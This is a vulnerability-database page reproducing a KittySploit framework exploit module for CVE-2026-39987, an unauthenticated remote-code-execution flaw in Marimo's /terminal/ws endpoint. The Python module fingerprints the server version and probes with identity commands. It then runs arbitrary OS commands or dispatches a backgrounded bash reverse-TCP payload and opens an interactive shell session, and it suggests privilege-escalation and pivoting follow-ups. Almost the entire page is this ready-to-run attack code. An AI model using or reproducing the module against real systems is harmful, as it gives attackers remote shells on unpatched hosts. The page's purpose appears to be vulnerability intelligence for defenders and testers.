Lucene search
+L

Marimo Terminal WebSocket Pre-Auth RCE (CVE-2026-39987)

🗓️ 07 Aug 2026 08:18:02Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated RCE in Marimo via /terminal/ws endpoint spawning a PTY shell.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-39987 — Marimo pre-auth /terminal/ws PTY RCE."""

from __future__ import annotations

import shlex
import time
from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.marimo import MARIMO_DEFAULT_PORT, MARIMO_TERMINAL_WS, Marimo, marimo_version_lt

MARIMO_PATCHED_VERSION = "0.23.0"


class Module(Exploit, Http_client, Marimo):
    __info__ = {
        "name": "Marimo Terminal WebSocket Pre-Auth RCE (CVE-2026-39987)",
        "description": (
            "Exploits CVE-2026-39987 in Marimo <= 0.20.4 (patched in 0.23.0): the "
            "/terminal/ws endpoint accepts unauthenticated WebSocket connections and "
            "spawns a PTY shell (pty.fork) with no validate_auth() check. Opens an "
            "interactive http_cmd session by default; optional COMMAND for one-shot "
            "execution or framework reverse_tcp payload."
        ),
        "author": ["Jason Bernier", "KittySploit Team"],
        "cve": ["CVE-2026-39987"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "arch": Arch.CMD,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-39987",
            "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc",
            "https://github.com/advisories/GHSA-2679-6mx9-h9xc",
            "https://github.com/marimo-team/marimo",
        ],
        "modules": [
            "scanner/http/marimo_detect",
            "scanner/http/marimo_websocket_rce",
        ],
        "tags": [
            "marimo",
            "notebook",
            "websocket",
            "pty",
            "rce",
            "unauthenticated",
            "preauth",
            "cve-2026-39987",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["marimo"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {"marimo": 0.3},
                "endpoint_pattern_any": ["/terminal/ws"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    port = OptPort(MARIMO_DEFAULT_PORT, "Marimo listen port (default 2718)", True)
    ssl = OptBool(False, "Use WSS (set true or enable ANY_SSL for TLS targets)", True)
    path = OptString(MARIMO_TERMINAL_WS, "Terminal WebSocket endpoint path", True)
    base_path = OptString("/", "HTTP base path for /api/version fingerprint", False, advanced=True)
    command = OptString("", "OS command to run (-c); overrides payload when set", False)
    verify_cmd = OptString("id && whoami && hostname", "Probe command used by check()", False, advanced=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._session_connections = {}

    def check(self):
        version = self.marimo_http_version()
        looks = self.marimo_detected()

        if version and not marimo_version_lt(version, MARIMO_PATCHED_VERSION):
            return {
                "vulnerable": False,
                "reason": f"Marimo {version} >= {MARIMO_PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        try:
            ok, output = self.marimo_probe(str(self.verify_cmd or "id"))
        except Exception as exc:
            hint = ""
            if not self.marimo_use_ssl():
                hint = " — try ANY_SSL true / SSL true if the target speaks TLS"
            return {
                "vulnerable": False,
                "reason": f"WebSocket probe failed: {exc}{hint}",
                "confidence": "low",
            }

        if ok:
            ver = f" Marimo {version}" if version else ""
            evidence = (output.splitlines()[0] if output else "command output received")[:120]
            return {
                "vulnerable": True,
                "reason": (
                    f"Unauthenticated /terminal/ws PTY RCE confirmed{ver} "
                    f"(<{MARIMO_PATCHED_VERSION}): {evidence}"
                ),
                "confidence": "high",
            }

        if version and marimo_version_lt(version, MARIMO_PATCHED_VERSION):
            return {
                "vulnerable": True,
                "reason": (
                    f"Marimo {version} < {MARIMO_PATCHED_VERSION} but probe returned no output "
                    f"— raise MAX_WAIT or set ANY_SSL true"
                ),
                "confidence": "medium",
            }

        if looks:
            return {
                "vulnerable": False,
                "reason": "Marimo detected but /terminal/ws did not return command output",
                "confidence": "medium",
            }

        return {
            "vulnerable": False,
            "reason": "Target does not appear vulnerable to CVE-2026-39987",
            "confidence": "low",
        }

    def execute(self, cmd: str, max_wait: Optional[float] = None) -> str:
        return self.marimo_execute(cmd, max_wait=max_wait)

    def run_command(self, command: str) -> str:
        return self.execute(command)

    def _open_session(self) -> Optional[str]:
        if not self.framework or not hasattr(self.framework, "session_manager"):
            print_warning("Framework session manager unavailable; interactive session not registered")
            return None

        protocol = "wss" if self.marimo_use_ssl() else "ws"
        session_id = self.framework.session_manager.create_session(
            host=self.marimo_host(),
            port=self.marimo_port(),
            session_type="http_cmd",
            data={
                "protocol": protocol,
                "uripath": self.marimo_ws_path(),
                "platform": "linux",
                "exploit_module": "marimo_cve_2026_39987_rce",
                "cve": "CVE-2026-39987",
            },
        )
        self._session_connections[session_id] = self.marimo_cmd_channel()
        print_success(f"Interactive PTY session opened: {session_id}")
        print_info("Use 'sessions -i <id>' for an interactive shell")
        return session_id

    def run(self):
        try:
            print_status("CVE-2026-39987 — Marimo /terminal/ws pre-auth PTY RCE")
            if self.marimo_use_ssl():
                client = self.marimo_terminal_client()
                print_info(
                    f"Using WSS {client.ws_url} "
                    f"(verify_ssl={self.marimo_verify_ssl()}, max_wait={self.marimo_max_wait()}s)"
                )

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            cmd = str(self.command or "").strip()

            if cmd:
                print_status(f"Executing: {cmd}")
                out = self.execute(cmd)
                if not out and self.marimo_max_wait() < 5.0:
                    print_warning("Empty output — retrying with max_wait=5 (SSL/slow PTY)")
                    out = self.execute(cmd, max_wait=5.0)
                if out:
                    print_info(out)
                else:
                    print_warning(
                        "Command produced no output — try ANY_SSL true and/or MAX_WAIT 5"
                    )
            elif self.payload and str(self.payload).strip():
                payload = str(self.payload).strip()
                print_status("Dispatching reverse payload over /terminal/ws")
                if "setsid" not in payload and ("/dev/tcp/" in payload or "bash -i" in payload):
                    wrapped = (
                        f"setsid nohup bash -c {shlex.quote(payload)} "
                        f">/dev/null 2>&1 &"
                    )
                else:
                    wrapped = payload
                self.execute(wrapped)
                time.sleep(0.8)
                print_info("Verify listener/session for reverse callback")

            self._open_session()
            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            if not self.marimo_use_ssl():
                print_info("If the target uses TLS, set ANY_SSL true (and raise MAX_WAIT)")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Sep 2026 11:39Current
8.2High risk
Vulners AI Score8.2
CVSS 3.19.8
CVSS 49.3
EPSS0.37865
SSVC
0